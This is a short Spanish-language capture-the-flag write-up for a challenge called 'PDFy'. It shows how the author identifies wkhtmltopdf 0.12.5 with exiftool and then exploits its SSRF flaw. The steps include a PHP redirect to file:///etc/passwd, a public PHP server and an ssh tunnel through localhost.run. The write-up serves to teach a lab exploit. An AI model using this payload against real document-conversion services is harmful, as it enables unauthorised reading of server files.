PDFy
July 16, 20242 minutes
La web del reto es simple, consiste en que nos pide una url y la transforma en pdf
Al descargar el pdf y analizarlo con exiftool, vemos el programa que se está usando para transformar las webs en pdf
d3bo@lenovo ~/D/h/c/CubeMadness1> exiftool 96b167ef1de72777cfc05125ac7e.pdf
ExifTool Version Number : 12.89
File Name : 96b167ef1de72777cfc05125ac7e.pdf
Directory : .
File Size : 30 kB
File Modification Date/Time : 2024:07:17 02:20:32+02:00
File Access Date/Time : 2024:07:17 02:20:32+02:00
File Inode Change Date/Time : 2024:07:17 02:20:48+02:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Title : Google
Creator : wkhtmltopdf 0.12.5
Producer : Qt 4.8.7
Create Date : 2024:07:17 00:20:26Z
Page Count : 1
Se está usando wkhtmltopdf con la versión 0.12.5.
Con una búsqueda rápida en internet encontramos una vulnerabilidad para este programa (https://exploit-notes.hdks.org/exploit/web/security-risk/wkhtmltopdf-ssrf/)
Así que seguimos los pasos, creamos un php con el siguiente código
<?php header('location:file:///etc/passwd'); ?>
Abrimos un servidor con php
php -S 0.0.0.0:8080
El problema ahora es que si apuntamos a nuestra ip desde la web, no nos va a ver, ya que a nuestro servidor solo se puede acceder desde nuestra red.
Para hacer que pueda tener acceso a nuestro servidor usaremos localhost.run
ssh -R 80:localhost:8080 nokey@localhost.run
Esto nos generará un enlace público en internet en el que va a estar corriendo el servidor web
Ya tenemos la flag!